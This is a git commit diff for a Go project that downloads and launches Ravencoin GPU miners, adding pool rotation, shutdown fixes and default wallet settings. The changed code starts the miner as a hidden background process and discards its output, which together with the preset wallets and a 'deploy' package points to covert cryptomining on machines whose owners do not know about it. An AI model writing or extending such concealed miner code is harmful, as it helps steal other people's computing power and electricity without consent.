feat(gpu): fix shutdown race, add RVN pool rotation, full test suite. Fix run() deadlock: proc.Kill() on Stop(), dedicated pollStop channel, stopCh checked in retry delay. Add buildPoolList() using RVNBackupPools (was wired in config/UI but unused). 29 new GPU tests covering detection gates, pool URL building, pool rotation, avg(), itoa(), zip extract, mock miner API (T-Rex + TRM), process stop. RVN wallet defaults set. Download URLs verified 200.

This commit is contained in:
AetherForge
2026-06-02 23:58:15 -07:00
parent f6b692e232
commit f0c4506e96
6 changed files with 523 additions and 83 deletions

View File

@@ -44,52 +44,34 @@ func detectGPU() GPUInfo {
return GPUInfo{Vendor: GPUVendorNone}
}
// startProcess launches the GPU miner binary as a hidden background process.
func (g *GPUMiner) startProcess(binPath string) (*os.Process, error) {
pool := g.cfg.RVNPoolHost
port := g.cfg.RVNPoolPort
// startProcessOnPool launches the GPU miner binary against a specific pool endpoint.
func (g *GPUMiner) startProcessOnPool(binPath string, ep rvnEndpoint) (*os.Process, error) {
wallet := g.cfg.RVNWallet
worker := g.cfg.WorkerName
poolURL := buildPoolURL(ep)
pass := ep.pass
if pass == "" {
pass = "x"
}
var args []string
switch g.info.Vendor {
case GPUVendorNVIDIA:
// T-Rex: kawpow algorithm
algo := "kawpow"
poolURL := ""
if g.cfg.RVNPoolTLS {
poolURL = "stratum+ssl://" + pool
} else {
poolURL = "stratum+tcp://" + pool
}
args = []string{
"-a", algo,
"-o", poolURL,
"-u", wallet + "." + worker,
"-p", g.cfg.RVNPoolPass,
"--api-bind-http", "127.0.0.1:4067",
"--no-watchdog",
"--exit-on-cuda-error",
}
if port > 0 {
args[3] = args[3] + ":" + itoa(port)
}
case GPUVendorAMD:
// TeamRedMiner: kawpow algorithm
poolURL := ""
if g.cfg.RVNPoolTLS {
poolURL = "stratum+ssl://" + pool
} else {
poolURL = "stratum+tcp://" + pool
}
if port > 0 {
poolURL += ":" + itoa(port)
}
args = []string{
"-a", "kawpow",
"-o", poolURL,
"-u", wallet + "." + worker,
"-p", g.cfg.RVNPoolPass,
"-p", pass,
"--api-bind-http", "127.0.0.1:4067",
"--no-watchdog",
"--exit-on-cuda-error",
}
case GPUVendorAMD:
args = []string{
"-a", "kawpow",
"-o", poolURL,
"-u", wallet + "." + worker,
"-p", pass,
"--api_listen=4068",
}
}
@@ -97,7 +79,6 @@ func (g *GPUMiner) startProcess(binPath string) (*os.Process, error) {
cmd := exec.Command(binPath, args...)
deploy.PrepareHiddenProcess(cmd)
cmd.Dir = filepath.Dir(binPath)
// Redirect all miner output to NUL (silent)
cmd.Stdout = nil
cmd.Stderr = nil